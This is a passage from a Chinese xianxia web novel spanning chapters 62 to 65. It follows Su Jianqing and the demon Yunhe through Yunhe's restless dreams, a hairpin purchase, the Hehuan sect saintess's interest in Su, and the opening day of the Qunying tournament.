典淮正坐在上首,俊美无俦的脸上露出欣喜,放下羽扇大步上前,拍几下苏见清的肩膀,嗔怪道:“好你个小子,一下山就没了音讯。” “快说说,你这些日子都经历了什么?” 苏见清低声诉说,从枫泠城魔修屠城,再到观沧海莲若柳适柳颐三人的爱恨纠葛。 典淮长叹一气,“可怜你三位师兄。他们为苍生殉道,是我伏渊的好弟子。” 苏见清面色黯然,从芥子囊内取出俞舟等人的遗物,“三位师兄的东西都在这儿了。” 典淮:“你先收着吧,等回了伏渊照例行事。” 苏见清点头,将东西收回。 “至于你说的那后饶……”典淮迟疑,不确定道:“倒有些像我知道的一人。” 苏见清意外,“何人?” 典淮面色肃然,沉沉吐出一句话,“魔域四大魔将之一,修罗将军。” “此人来历神秘,在魔域异军突起,以手段狠辣残忍著称,最喜剖心,乃是玄清域的心腹大患。” 四大魔将? 苏见清怔愣。 “这也只是我的猜测,他是否是修罗将军,还有待商榷。但若是的话……” 典淮笑眯眯摇起羽扇,“见清,你一举斩杀甘巍修罗两大魔将,可是咱们玄清域的英雄。” 苏见清羞愧。 这二人都是阿蕴姑娘杀的,与他实则并无干系。 “师叔误会了,他们并非我所杀,是……” 苏见清陡然顿住,阿蕴姑娘的身份不能暴露,可要是说巫道友,到时他上擂台,可不得把他坑了? 幸好典淮也没听他把话说完,摇头笑道:“无论他们最终被谁斩杀,你都参与其中,这可作不得假。” 话落,他又是喟叹,“没想到,当年的清风剑柳适,居然在百年前就死了。还是为了一个妖女而亡。” “倘若他未被那妖女蛊惑,想必如今早已是玄清域一代剑尊。” 苏见清眉头飞快一压。 他想说,莲若姑娘并非妖女,柳适前辈也未被蛊惑,他们乃是真心相爱。 何况入魔前,莲若姑娘并未做错事,何至于被按上一个妖女的名头? 就因为她是妖修? 可话到嘴边,苏见清看清典淮眉间厌恶,抿了抿唇,不曾开口。 不带阿蕴姑娘来果真是对的。 他不想她被人一口一个妖女地贬低,也不想看见同门对她刀剑相向。 苏见清略显生硬地转移话题,“这次群英会,掌门师叔怎么亲自领队?” 典淮无奈,“还不是潇潇那丫头,闭关后突破了金丹,吵着闹着要来群英会,师兄只能同意,又不放心她独自在外,便让我来了。” 苏见清失神,心中滋味复杂难辨。 只因不放心褚师妹一人在外,便让掌门师叔放下门内事务,亲自前来吗? 典淮敏锐地察觉到什么,拍拍苏见清肩头,“你师妹年幼,又是第一次出远门,你师尊难免不放心。” 苏见清浅浅笑了笑,“我知道的。” 袖中手掌却轻轻合起,当初他第一次下山除魔时,远比褚师妹年幼,可师尊……从未表露过担心。 典淮又道:“临出发前一名带队长老不慎出了意外,思及你未曾回山,我特意给你传信,不想还真赶上了。” 俊美脸上浮现亲和笑容,“辛苦了,这几日随我一道观赛放松,等群英会结束,咱们一道回山。” 苏见清低声,“嗯。” 见他眉眼疲乏,典淮道:“赶路辛苦,先下去休息罢。我已让人给你安排院子。” “师叔。” 苏见清道:“我就不与师门住在一处了。” 典淮疑惑,“为何?” 苏见清抿唇,“我是与朋友一道来的,他过两日要参加群英会,我想留在客栈陪他。” 心中默念,巫道友莫怪,先借你的名头一用。 “朋友?” 典淮喜道:“好啊,出去一趟都有朋友了,是什么人?不如让他一道来此处。” “不必了。” 苏见清拒绝,“他性子有些孤僻,不喜见人。师叔放心,群英会开启时,我自会前来。” 典淮只能同意,“可。” 苏见清面色一喜,恭敬行礼,“那弟子就先退下了。” 典淮摆手,“去吧。” 他目送苏见清退下,思索着摸了摸下巴,总觉得见清这次回来,好像有什么地方变了。 …… 客栈内,曲江篱拉着蕴禾喋喋不休。 “阿蕴姐姐,你们这段日子去哪儿了?难不成没回伏渊?” 蕴禾一只手懒散支头,“你怎么知道?” 曲江篱笑,“我和阿弃在桑若城住好久啦,那些仙门人到达的时候,我们看得清清楚楚,里头可没有苏公子。” 蕴禾用指头点曲江篱眉心,“你倒是机灵。” 曲江篱摇头晃脑,眼睛弯弯如月牙,一脸小得意,“那当然。” “阿蕴姐姐,你们去哪儿玩了啊?” 蕴禾往窗外看去,天空湛蓝,万里无云,颜色干净得仿佛一片宁静的海。 她轻轻叹气,“去了观沧海。” 双唇微张,将这段日子的见闻娓娓道来。 她的音调并无变化,平淡冷静地说出莲若柳颐的结局,可曲江篱却听得两眼泪汪汪,呜呜咽咽道:“太可怜了。那位莲若姐姐也太可怜了。” 蕴禾略显惆怅,“她自己选择的结局,便是可怜也得自己受着。” 曲江篱伤感,“往后我定要去南曲海看看,替素未谋面的莲若姐姐看看她的家乡。” 巫弃看她一眼,又望向蕴禾,“那后饶真的死了?” 蕴禾立马收起表情,朝他冷哼,“我亲自动的手,死得不能再死了。” 巫弃这才放下心。 以这位的手段,定不会再让那后饶活着,若是他继续为非作歹,不知还有多少妖修要死于他手。 听了一段伤心的故事,曲江篱一直心情郁郁,巫弃见不得她如此,索性带她出去散心。 临走前邀请蕴禾一道,被她拒绝了。 屋内安静下来,蕴禾托着腮,出神看着虚空。 这几日一直与苏见清在一起,蕴禾没多想,可他不在跟前了,在观沧海的所见却在脑海挥之不去。 她在苏见清面前装作若无其事的样子,可心里始终有所触动。 倘若当初遇见后饶的是她,她会怎么做? 蕴禾想,她一定不会交出妖丹,她的东西,哪怕是废了,也得废在自己手上。 她的命很珍贵,就算苏见清像柳适一样与后饶同归于尽,她也不会为了救他付出自己的生命,只会想尽法子,上穷碧落下黄泉,把苏见清的神魂找回来,复活他。 她始终坚信自己有这个能力。 变强是刻在蕴禾骨子里的念头,她绝对不允许自己变成一个毫无修为的废物。 想到这儿,蕴禾沉沉吐出一口气。 等等,不对啊! 她猛然意识到,她为什么要把她和苏见清代入莲若和柳适? 他们是这种关系吗? 第63章 热 好热。 从内心深处蔓延而出的燥热似星火燎原,以排山倒海的气势蔓延至四肢百骸。骨头缝里传出痒意,密密麻麻的如蚂蚁啃食,令她全身酸软,虚弱无力。 不知从何处吹来一股清风,她感觉混沌的灵台略显清明。 有一只手轻轻拨开她领口,指腹在白皙柔软的肌肤上打转,声音分明是清澈明润的,可不知是否被那燥热感染,却也增添了一丝灼热的喑哑。 “这样可以吗?” 她说不出话,只觉隔靴搔痒,尤其是他此刻泛红的俊脸,迷离缱绻的凤眸,更令她心中生痒。 磨了几下牙齿,她莫名想咬点什么。 双臂绕过身上之人的脖颈,她将他拉下,偏首一口咬在他脖颈上。 他闷哼一声,干净的声音增添沙哑,委屈地小声咕哝,“疼。” 现在就疼?待会儿还有更疼的呢。 等等! 什么更疼的? 她在乱七八糟想什么? 所有画面如潮水退去,蕴禾猛然睁眼。 窗外阳光照射而入,她偏头避开刺眼光线,顺道打量身处的环境。 依旧是那间客栈,她坐在圆桌前,脑袋枕在双臂上。 适应片刻,蕴禾缓缓坐直身子,甩两下发麻的手,脸色难看地从储物手链中取出一物。 掌心鲛珠光芒依旧,紫色耀眼,璀璨明亮。 蕴禾双眉紧紧蹙起。 不是这颗鲛珠作祟,那她为什么又开始做这种梦了? 蕴禾实在想不明白。 怀疑地想,难不成她真的到了发、情期? “笃笃。” 房门被人敲响,熟悉的声音透过门扉传入,“阿蕴姑娘,你可在里面?” “阿蕴姑娘?” 方才做了那样的梦,此刻听到苏见清的声音,蕴禾脸色越发难看。 她坐在原地,任凭门外的苏见清如何敲门,始终一言不发。 “阿蕴姑娘?” 苏见清又唤了几声,仿佛是认定屋里没人,声音逐渐消失。 蕴禾松了口气。 察觉到身体的冲动缓缓退去,她站起身,黑着脸掏出一根青色羽毛,准备传讯回妖域。 青光刚刚在掌中溢开,蕴禾倏地合掌,将羽毛收起,猛地把门拉开。 面前站着一道格外熟悉的身影。 年轻剑修身量颇高,肩膀宽阔,背脊挺直,分明年纪不大,却似山岳厚重,仿佛无论发生什么,都能为身后之人撑起一片天。 蕴禾语气不好,“你在这儿作甚?” 听见动静,苏见清徐徐回身,笑意清浅,“阿蕴姑娘。” “我察觉你在屋内,又怕打扰,只好守在外面。” 蕴禾的目光不受控制落在苏见清脖颈上。 白皙修长,喉结锋利,与她梦中一般无二。 在梦里,她曾亲口咬上去,听见他难耐的闷哼声。 想到这儿,蕴禾喉咙无意识滚动。 “阿蕴姑娘?” 苏见清伸手在蕴禾面前挥动,疑声问:“你怎么了?” 蕴*禾头一次感到丢脸,拨开苏见清的手,语气恶劣,“没事!” 苏见清显然是习惯了她的“喜怒无常”,笑了笑,轻声道:“外面现在很是热闹,阿蕴姑娘可要去逛逛?” “我准备给替我照顾云团的师妹买两盆灵植,又不知你们女孩子喜欢什么,阿蕴姑娘可否帮我参谋参谋?” 蕴禾想起成佩兰。 她对这位伏渊女弟子的印象还不错,暂时将异样的情绪压在心底,随口道:“也行。” 苏见清顿时一笑,“那我们现在就走罢。” 那笑和他往常的浅笑不太一样,嘴角扬起,笑意铺满整张俊脸,似有融融春光照射在脸上,连眼里的花都开了。 蕴禾被他笑得一怔,微微恍神后恼怒拂袖,“还不快走!” 苏见清不知她为何忽然就生了气,收了笑,快步追上去。 两人并肩走出客栈,此时的桑若城的确极为热闹,街上人满为患,两侧铺面时有修士进进出出。 蕴禾东看看西望望,一时倒也把先前的异常给忘了。 苏见清从铺子上挑出一根海棠花簪,簪身绯红似火,簪头重瓣海棠开得极为绚烂,这簪子也不知是用何种玉做的,海棠在阳光下如有霞光流转,仿佛将整片朝霞都装了进去。 “阿蕴姑娘可喜欢?” 苏见清拿着簪子问。 蕴禾瞟去一眼,瞬间被吸引。 她对颜色没有喜好,只要好看的都喜欢,闻言轻点螓首,云淡风轻道:“还不错。” 苏见清失笑,知道这句不错便是喜欢的意思,问过正在忙碌的摊贩,将灵石付了,侧身对蕴禾道:“可要我帮你戴上?” 语气小心翼翼到谨慎,细听还有一丝紧张。 蕴禾下颌微抬,默认了。 苏见清眼角泄出笑意,专注地捏着簪子,轻轻插入蕴禾发间。 这支海棠簪的确极为衬她,蕴禾今日穿一身胭脂色的广袖流仙裙,长发竖起,髻上插几支镶金宝石发钗,海棠簪子没入发间,霞光从鬓发照射到莹润耳垂与侧脸,令她整个人仿佛沐浴在朝霞中,充斥着明艳动人的美。 脖颈佩戴苍翠珠子,手戴青竹玉石手链,除了鬓边一绺白,好似话本中的凡间贵女。 许久不见苏见清动作,蕴禾抬眸,“还没好?” 海棠簪子的一缕霞光正好从眼中闪过,她眸底映满整片朝霞,美得璀璨绚丽,令人失神。 苏见清放下手,“好了。” 蕴禾手放在头顶,确认好簪子的位置,满意点头,“那就走吧。” …… 对面。 齐岱和方若望从铺子里走出来,哀嚎一声,“这桑若城的东西也太贵了吧!” 每每看到心仪之物,可想到自己瘪了的储物袋,只能硬生生把蠢蠢欲动的心压回去。 方若望:“明日便是群英会召开的日子,来桑若城的修士那么多,这价格自然也就高了。” 齐岱叹气。 方若望失笑,“你若实在想要方才那枚玉带,不如我借你点灵石?” “算了算了。” 齐岱摆手,“不买了,还是留着灵石给佩兰买礼物吧。” 说到此事,他又头疼该送成佩兰什么礼物,要是送重复了,那小祖宗可得和他闹。 巡睃一圈,齐岱陡然定住,像发现什么大事般扯住方若望的手臂,“师弟快看,那可是苏师弟?” 他激动地攥住方若望的衣袖,压低的嗓音难掩兴奋,“我看到了什么?我居然看见苏师弟在给一个姑娘戴簪子!” 石头一样的苏师弟竟然也开窍了? 这可真是铁树开花,天大的新闻! 方若望抬眼看过去,果真瞧见苏见清正在为一女子戴发簪,脸上的神情,是他从未见过的温柔。 那女子抬脸,露出半张皎白如月的脸,哪怕只有一张侧脸,却也能猜测出她是何等绰约多姿。 方若望虽然震惊,却比齐岱要好上许多,起码不至于失态,惊讶道:“苏师弟何时来的桑若城?” “这是重点吗?” 齐岱摇头,声音重重落下,“重点是苏师弟居然是和一个姑娘一起来的!” 他拽着方若望就走,“走走走,咱们跟上去看看。” “这不太好吧?” 方若望嘴里说着不好,但脚步却实诚地跟上,齐岱狠狠白他一眼,追着苏见清二人而去。 …… 苏见清带蕴禾去了专门卖灵植的铺面。 此处还算清净,灵植被养护得极好,或明艳或素净,皆开得格外绚丽。 每样灵植前都放置一枚小牌,书写着灵植的名字与特征。 苏见清认真地一一看过去。可惜他对这些东西的研究着实不深,也不知女孩喜欢什么样的,转头去问蕴禾。 “阿蕴姑娘喜欢什么样的?” 他想,成师妹与阿蕴姑娘皆是女子,二者或有相同的喜好。 蕴禾双臂环胸,目光从眼前灵植上挪过去,诚实开口,“我都挺喜欢的。” 她天生亲近自然,对这种用灵气养育的东西观感极佳。 苏见清:“……” 他颇为无奈地揉着眉心,迟疑道:“那……我们随意给成师妹买两盆?” “给女孩子的礼物怎么能随便?” 蕴禾狠狠白他一眼,缓步走上前,认真挑选。 成佩兰名字里有个兰字,那便为她选盆兰草吧。 蕴禾点着一株开得正盛的洁白兰花,“这个,千华玉兰。” 花瓣如玉,纯洁似雪,蕊心红黄两色,不至于显得太过素净。此花还能提神静气,无论如何都出不了错。 成佩兰的性子有些活泼跳脱,热情似火,蕴禾眼珠一转,又指向另一盆,“这个,赤幽桃。” 那花火红艳丽,花瓣层层重叠,越往外颜色越浅,但细看,又能发觉边缘有赤色光华流转。 苏见清自是听她的,“好,就要这……” “这盆赤幽桃我要了。” 忽有一道娇蛮女声穿进来,蕴禾与苏见清齐齐回头。 一名女子快步朝二人走来,她身披红色薄纱,白皙肌肤若隐若现,领口大开,露出大片嫩肤,走动间腰肢轻扭,一步步满是风情。 她生了一双狐狸眼,五官妖媚绝丽,眉心点缀一枚红色合欢花,眼尾红晕如桃花醉人。 这女子年岁并不大,偏生媚态横生,浑身充斥着青涩的诱人魅惑。 随着她走近,浓郁的香味袭来,蕴禾不适地捂住鼻尖,两道秀美皱起。 “这赤幽桃是我的……” 女子骄横地宣布,看清苏见清的模样时,声音骤然顿住,眸中怔怔,泛起潋滟水光。 第64章 苏见清礼貌道:“这位姑娘,这灵植是我们先看上的。” “我们圣女要的东西,还从未失手过。这盆灵植多少灵石,我们出双倍。” 女子身后走出两名婢女,一个冰冷如雪莲,一个火辣似石榴,性格虽不相同,却是同样的花容月貌。 圣女?什么圣女? 苏见清拧眉,风度翩翩但分毫不让,“抱歉,我不让。” 那美艳婢女秀眉一竖,当即斥道:“你……” “好了。” 女子轻飘飘看了眼婢女,柔媚似水的含情目凝视苏见清,声音柔得仿佛能滴出水来,“既然这位仙君先看上的,那这赤幽桃,自然是仙君的。” 美艳婢女对自家圣女言听计从,闻言恭声道:“是,圣女。是奴婢莽撞了。” 苏见清略一颔首,拿起两盆灵草,对蕴禾低声道:“我们走吧。” “诶。” 女子伸手去拉苏见清的袖子,娇声道:“不知仙君姓甚名谁,出自哪家仙门?小女子名容荌桃,若有机会,可否与仙……” 苏见清避开她的手,侧首礼貌道:“告辞。” 容荌桃的手停在半空。 美艳婢女恼怒,“圣女,这人也太不解风情了!圣女现下若喜欢他这模样的,奴婢明日就替您绑七八个回来!” “你懂什么?” 容荌桃收回手,指尖勾出一绺墨发,动作轻缓地抚摸着,妖媚狐狸眼里盛满兴致,“往常那些不过都是些庸脂俗粉,哪有这位仙君勾人?” 一直未曾开口的婢女轻声道:“圣女,那人方才身侧还有一名女子。” “有吗?” 容荌桃拧眉回想。 她方才的心神皆放在苏见清身上,着实没注意到他身侧还有什么女子。 “这能代表什么?” 容荌桃没放在心上,“只要未曾结为道侣,这你情我愿的事谁会置喙?” 婢女不再开口。 容荌桃柔声吩咐,“去查查,他是何人。” “是。” …… 苏见清买完账,蕴禾幽幽道:“你没发现,方才那圣女对你有意思。” “什么意思?” 苏见清将两盆灵植收入芥子囊,笑道:“阿蕴姑娘可想去桑若城别的地方看看?” 蕴禾仔细观察苏见清的神情,“你没看出来?” “我该看出什么?” 苏见清平静开口,“我无意揣度无关紧要之人的心思。” 不知为何,蕴禾堵在心头的那口气忽然就散了。她也弄不清楚自己为何会介意,或许潜意识里她触碰到了那扇门,却下意识不愿打开。 甩甩手,她率先往门外走去,“走罢。” 苏见清凝视她的背影片刻,快步跟上。 蕴禾走得太急,出门时险些与人撞上,耳边依稀听到几句: “怎么和那女人撞上了?” “她和苏师弟说什么呢?” “苏师弟可别被她……” 蕴禾及时刹住,皱眉望向来人。 与此同时,齐岱带着方若望猛地后退一大步,干笑着和苏见清打招呼,“苏、苏师弟,好巧,你也在啊。” 那笑容怎么看怎么尴尬。 “齐师兄,方师兄?” 苏见清意外,“你们也来了桑若城。” 方若望面色极为平静,笑道:“是啊,此次师尊出山,特地将我带上,让我长长见识。” “是啊是啊。” 齐岱应和,“至于我,是来参加群英会的。” 苏见清了然,“二位师兄……” “你们认识方才那人?” 蕴禾忽然问。 齐岱和方若望仿佛此时才看见蕴禾似的,疑惑道:“苏师弟,这位姑娘是……” 蕴禾懒得跟他们装模作样,白眼一翻,双手环胸,“你们不是一路跟着我们来的?” 此言一出,方若望还好,齐岱羞愧得简直想把自己埋进土里,结结巴巴道:“这、这位姑娘……呵呵……原来早就发现我们了?” 蕴禾耸肩,意思不言而喻。 苏见清方才的确感觉到有两道气息跟着,但并未多想,只当是同路人,谁料竟是两位师兄。 对上齐岱充满暗示性的目光,他轻咳两声,“两位师兄认识方才的姑娘?” 提及此事齐岱来劲了,“咱们借一步说话。” 蕴禾往铺子里看一眼,抬手挥出一道灵光,等那两名侍女追上来时,苏见清几人的气息已消失无踪。 她切一声,抬步追上苏见清。 彻底远离那家灵植铺子,齐岱大松口气,解释道:“那是合欢宗的圣女,容荌桃。” “此女天生媚体,喜好美色,凡遇到生得合她心意的男子,定要与他生一段情。偏她生性风流,这情谊维持不了多久就如烟云散去,冷酷地抽身而出,寻找下一段情缘。” 齐岱:“玄清域被她祸害的男修不计其数,导致现在好多年轻修士听到她的名字就跑,以免被她看上。” 但瞧方才的情形……齐岱目露惊恐,难不成苏师弟当真被她看上了? 苏见清倒是没什么反应。 他不愿意,谁也不能逼他,就算要逼,也得先问过他手上的剑,因此并未把这事放在心上。 见他表情,齐岱也放了心,拉着方若望告辞,“苏师弟,我和方师弟还有事,就不打扰你和这位姑娘了,咱们回去再寻你说话。” “这位是阿蕴姑娘。” 苏见清面带歉疚,“齐师兄,方师兄,这几日我住在客栈,二位若有话要说,可否改日?” “啊?住客栈啊?” 齐岱的目光在蕴禾身上快速扫过,呵呵笑道:“行,那我们就不打扰你和阿蕴姑娘了,苏师弟,再会。” 话落,齐岱拉着方若望疾速离开。 苏见清垂首解释,“方才那两位,是我伏渊的师兄。” “我知道。” 方若望和齐岱蕴禾都见过多少次了,尤其是那方若望,头脑很是聪明,若他只是个普通的伏渊弟子,她都想把他绑回妖域替她做事。 苏见清并未多想,只当她是从二人的言行中听出来的,嘴角轻轻扬起,“阿蕴姑娘还想去哪儿看看?” 蕴禾盯着他看了许久,冷不丁问道:“你就不怕那劳什子合欢圣女把你绑回宗门,逼你从了她?” 苏见清被她的说法逗笑了,“不怕。” 他抬手,白光闪烁,长虹出现在他掌中,“我有长虹。” “倘若你不敌呢?” 苏见清微微一笑,“同辈之中,我鲜有敌手。” 语气云淡风轻,但压在平静下的自傲几乎要溢出来。 苏见清微怔,对上蕴禾的眼睛。 发间海棠霞光映照半张脸,她的眸子一只纯黑,一只装了绚烂彩霞,眼中执拗如有实质,紧紧攥住他的目光。 苏见清张口,“若当真到那地步,我有阿蕴姑娘……” 侧开脸,他略显狼狈接着道:“……和师尊相助。我想,你们应当不会放任我被人抓走。” 虽然这话里突兀地有个玄陵,但蕴禾满意了。 心里舒服了,脸上神情也好看不少,拍拍苏见清的肩,“记住,凡是遇到事关生命之事,一定要在心里念我的名字。” 蕴禾笑着对苏见清道:“能救命的。” 苏见清哭笑不得,点头应下,“好。” 他没看见,一点绿光从蕴禾掌中溢出,以肉眼不可捕捉速度钻进他的胸膛。 蕴禾收手,“走吧,这外头也没什么好逛的,回客栈。” 二人回到客栈时,曲江篱和巫弃还没回来,正好隔壁两人不知为何大打出手,双双重伤无法参与群英会,也不想留下观赛,退了房间离开桑若城。 这正好便宜了蕴禾和苏见清。 她大气地租下两间客房,使唤苏见清去传菜。 等两人吃完,曲江篱和巫弃也回了。 察觉到两人上了楼,蕴禾直接一道妖力把人引到自己屋里。 “阿蕴姐姐。” 门框上探出一个小脑袋,曲江篱眨眼不解,“你怎么在这儿?” 蕴禾:“隔壁客房空出来了。” “啊……” 曲江篱尾音拉长,失落道:“我还想和你一起住呢。” 蕴禾:“下次吧” 其实她还是更喜欢一个人住。 “好嘛。” 曲江篱鼓起脸,拉住巫弃的手臂,她又满脸的笑,“那阿蕴姐姐,你和苏公子明日一定要来看阿弃斗法哦。” 她单手捏拳,坚定道:“我相信,阿弃一定能获得魁首!” 巫弃笑着轻拍曲江篱脑袋,“我也相信我能得魁首。” 曲江篱转头对他做个鬼脸,笑话他,“你可真不害臊。” 巫弃无奈,“这不是顺着你的话说的吗?” 二人站在门口拌嘴,蕴禾挥手,“好了,别闹腾了,巫弃明日要参赛,还是早些回去休息吧。” “对对对。” 曲江篱止了话,拽着巫弃就走,“咱们得养精蓄锐,以待惊艳众人。阿蕴姐姐,我们就先回去啦!” 蕴禾挥手,转头看向苏见清,“你还不回去?” “我这就走。” 苏见清站起身走出房门,“阿蕴姑娘,我们明日见。” “嗯。” 蕴禾不耐摆手,“赶紧去吧。” 苏见清笑了笑,替她把门关上转道去了隔壁。 屋内彻底安静下来。 蕴禾坐在床沿,沉着脸想,今日要是再做那乱七八糟的梦,她明日就去擂台上打几个人修散散火气。 这般想着,她躺下,找了个舒适的姿势睡去。 隔壁。 苏见清盘腿坐在床上冥想,灵气在周身运转,不知为何忽然有些凝滞。 他皱眉感应片刻,却再也感受不了那股滞涩感。 或许只是错觉。 苏见清闭目,继续修炼。 窗外圆月高悬,皎洁月光爬窗而入。 剑修心口处,有道黑气一闪而过,隐没在皮肉之下。 第65章 昨夜没做那乱七八糟的梦,蕴禾神清气爽起床。 曲江篱一大早就起了,候在蕴禾门前,一边敲门一边喊:“阿蕴姐姐起了吗?咱们快迟到啦!” 蕴禾开门,嗓音泛懒,“还早着呢,去那么早作甚?” 曲江篱神采奕奕,“去得早,咱们能占据到最好的位置啊!” 她挽住蕴禾的手,拉着她下楼。 蕴禾却没动,视线落在隔壁房门。 曲江篱了然,笑着打趣,“苏公子一早就走了,他说今日要随师门一同去观赛,怕打扰阿蕴姐姐,就没叫你。” 蕴禾嘴一撇。 人走了都不知道留个信儿么? 她哼哼两声,“谁管他。” 曲江篱嘿嘿笑了两声,从须弥戒里取出木盒,“这是苏公子临走前给阿蕴姐姐做的。” 蕴禾略一扬眉,哼道:“算他识相。” 下了楼,巫弃早已点好早膳,三人吃完一道往城中走。 群英会举办的地方在桑若城的最中心,此处建有一块巨大广场,上有一座擂台。 广场上空筑有浮岛,供修士们观赛。 并非所有修士都能登上浮岛,巫弃花了三千灵石,为三人寻了个好位置。 此处视野开阔,能将下方斗法看得清清楚楚。 蕴禾张望两眼,准确无误地找到苏见清的位置。 伏渊仙门在玄清域是大宗,门内弟子占据一整座浮岛,那岛的位置比他们所在的更为优越。 蕴禾捻起一块梨花酥,目光悠悠落在苏见清身上。 后者坐在伏渊掌门长老们下首,正襟危坐着望向半空,面上端着一副正经样,目光却是虚散的,也不知在想什么。 她刚要看向别处,那头的苏见清仿佛意识到什么,忽地朝蕴禾看过来。 四目相对的刹那,那双清冷的凤眼仿佛被点亮的灯烛,暖光从眼中溢出,年轻剑修对她轻轻弯起嘴角。 蕴禾盯着他看了半晌,轻哼一声把目光转开。 察觉到苏见清的视线从身上移开后,她微微蹙眉,不自在地摸了摸脸。 搞什么,怎么觉得他的眼神怪怪的。 “苏师弟,苏师弟?” 齐岱叫了两声苏见清。 “嗯?齐师兄,怎么了?” “你看什么呢?” 齐岱顺着苏见清的目光而去,正好瞧见一道绝丽身影。他嘴角勾起一抹笑,手搭在苏见清肩上嘿嘿笑,“怎么不把阿蕴姑娘带过来?” 苏见清:“她不喜拘束。对了齐师兄,方师兄。” 两人齐齐看他,神情带着询问。 苏见清:“我离山前劳烦胥师姐和成师妹替我照看云团,此次下山途中特意为她们带了谢礼,有劳二位替我转交。” 齐岱不解,“等你回山时自己交给她们不就好了,给我们作甚?” 考虑到两位师兄和师姐师妹的关系,未免引起不必要的误会,苏见清觉得,还是由他们转交比较好。 方若望心思一转,笑道:“没准她们更喜欢由苏师弟当面交出这份谢礼。” 苏见清微怔,颔首道:“好,那等我回山再亲自向胥师姐和成师妹道谢。” “不知云团如何了?” 许久不见,苏见清心中惦念,也怕云团当真生气不理他了。 “它好着呢。” 齐岱哈哈笑,“胥师姐和佩兰成日去看它,那小东西整日吃好喝好,好不快活。” “那就好。” 苏见清心中略松口气,又问起云团别的情况。 齐岱说得起兴,方若望也不时插一句,一时间师兄弟三人分外和谐。 谈话间,苏见清陡然察觉到一道窥探的目光,他蓦地偏头寻找,却不见可疑人。 拧眉看了片刻,他暂且将此事放下,注意着蕴禾的情况,边分神和齐岱方若望说话。 合欢宗地界。 侍女十六侧目,恭声对容荌桃道:“圣女,他好敏锐。” 容荌桃指尖绕着发丝,娇声娇气道:“这不证明他修为非凡,我眼光卓绝吗?” 十六笑道:“是,还是圣女眼光好。不过,他竟然是伏渊弟子。” 侍女十五:“看他与伏渊掌门的首席弟子坐在一处,想来身份应该不低。” “身份低的,怎能配得上我?” 容荌桃吐息如兰,丢下发丝,单手托腮,目光几乎凝在苏见清身上,“去查查,他究竟是何人。” 十六:“是。” …… 每届群英会皆由桑若城城主主持。 听着那城主在上头长篇大论,蕴禾支着脑袋打瞌睡,一个不慎睡了过去。 “阿蕴姐姐,阿蕴姐姐,开始了!” 耳畔曲江篱的声音犹如雷鸣,瞬间把蕴禾吵醒。 她睁开朦胧睡眼。 擂台上站了两人,一个剑修,一个刀修,剑光与刀光交织,在飞出擂台前,被无形结界化解。 蕴禾百无聊赖地看着,觉得也没什么意思。 摆摆手对曲江篱道:“等遇到精彩的斗法再叫我。” 话一说完,她支着脑袋继续睡。 这觉睡得并不踏实,迷迷糊糊间,她总觉自己好像又做梦了。 梦里有无数双沾染血水的手朝她伸来,成千上百道声音嗡声作响,吵得她头疼。 下一瞬,仿佛又回到了观沧海客栈内的那张贝壳床上,身下柔软,身前火热。 蕴禾烦得很,唰一下睁开眼。 充斥火气的视线对上一双清澈鹿眼,它的主人眨巴眨巴眼睛,疑惑道:“阿蕴姐姐怎么了,我正要叫你呢。” 蕴禾缓了缓,强行压下复杂心绪,平心静气道:“怎么了?” “马上就到阿弃啦!” 蕴禾往擂台上看去,果然见到巫弃的身影。 和他斗法的是个金丹,巫弃的修为一显露,他面色虽有震撼,但依旧咬牙迎上。 毫无疑问,这场比试巫弃获胜。 场内呼声响起的瞬间,曲江篱拉住蕴禾的衣袖,激动道:“阿蕴姐姐,阿弃赢了,赢了!” 蕴禾懒散拊掌,懒洋洋道:“急什么,这才第一场,越往后才越难呢。” 曲江篱笑意不减,“我相信阿弃,他一定会获得魁首。” 笑容微顿,她望向一步步走下擂台的巫弃。 不,他必须要胜。 浮岛之上,各大仙门的长老皆注意到了巫弃。 典淮摇着扇子感慨,“这届群英会好苗子不少嘛,这才第一日,就出现了元婴修士。” 隔壁浮岛上,万法仙宗的掌门眼睛一亮,“这小子是个法修,若是能走到最后,倒适合入我宗。” 此届群英会,伏渊的掌门亲自护送弟子下山,其余仙门虽不知其意,但为了不被比下去,掌门们接连出山,导致此时的桑若城,化神巅峰的修士乃是往届最多。 对面浮岛一名长老笑侃,“这小子是雷系灵根,你们万法仙宗的不是木系就是水系,引他入门,这不是让人劈嘛。” 万法仙宗掌门吹胡子瞪眼,“我万法仙宗包容万物,雷系又如何,一样能收。” 典淮摇头,“要我说啊,这小子适合入鸿鹄仙宗。” 他笑看浮岛上端坐的一人,“流风仙尊,不也是雷系法修?” 此话一出,各大仙门掌门长老纷纷应和,“是啊,流风仙尊也是雷系。” “流风仙尊剑法精妙,这术法更是出神入化,收这小子为徒,倒是他高攀了。” 话题的主角流风仙尊一言不发。 他端坐浮岛,一身玄衣,腰身玉带用金蝉丝线绣着云纹,衣上仙鹤引颈高鸣,一头白发半披在身后,面容俊美,气质沉肃。 听见众人议论,流风仙尊睁眼,黑眸中似有金雷翻滚,电光似的锐眼盯着下方的巫弃。 好似过了许久,又仿佛只有一瞬,他启唇,嗓音并不像端肃沉冷的外表,反而透着清风般的柔和。 “待他能走到我面前再说。” 无聊的蕴禾将这段话收入耳中,单手托腮,想起这位流风仙尊的身份。 玄清域有两位顶梁柱,伏渊仙门的玄陵仙尊,鸿鹄仙宗的流风仙尊。这二人皆是大乘期修士,传言离渡劫只差一步之遥。 这两人常年王不见王,至今还未在同一场合出现过,没想到他们并不像蕴禾想的势如水火,听典淮方才的话,双方关系竟然还不错? 这倒是令蕴禾意外了。 坐在苏见清身侧的方若望起身上擂台,典淮笑着鼓励,“胜负不必勉强,尽全力即可。” 方若望拱手,“是,师尊。” 有长老出声,“这是典淮掌门的弟子?” “不错。” “年纪轻轻便已结婴,掌门教导有方。” 典淮摇着扇子,注视方若望的目光充满自豪,“都是我徒儿自己勤勉。” “不知玄陵仙尊的弟子可会出战?” 典淮转向褚潇潇,口吻无奈,“这孩子刚结丹便急着参战,各位掌门长老,若是有弟子碰上她,下手可要轻些,姑娘家面皮薄,这要是回来向我哭诉,我可哄不好。” 褚潇潇恼怒,“师叔,我才不会输了哭鼻子呢!” 典淮宠溺点头,“好好好,咱们潇潇才不哭。” 语气跟哄小孩似的,褚潇潇红着脸跺脚,“师叔!” 众位掌门长老对视。 出战的是玄陵仙尊极为疼爱的小弟子,那大弟子呢? 阴影一样沉默坐着的苏见清耳畔忽然响起一道张扬的声音。 “这劳什子群英会,你不参加?” 苏见清微怔,下意识往蕴禾的方向看去。 姑娘坐得歪七扭八,手上拿着灵果在啃,目光望着擂台,并未看他。 苏见清嘴角微扬,在心中回:“不参加。” “为什么?” 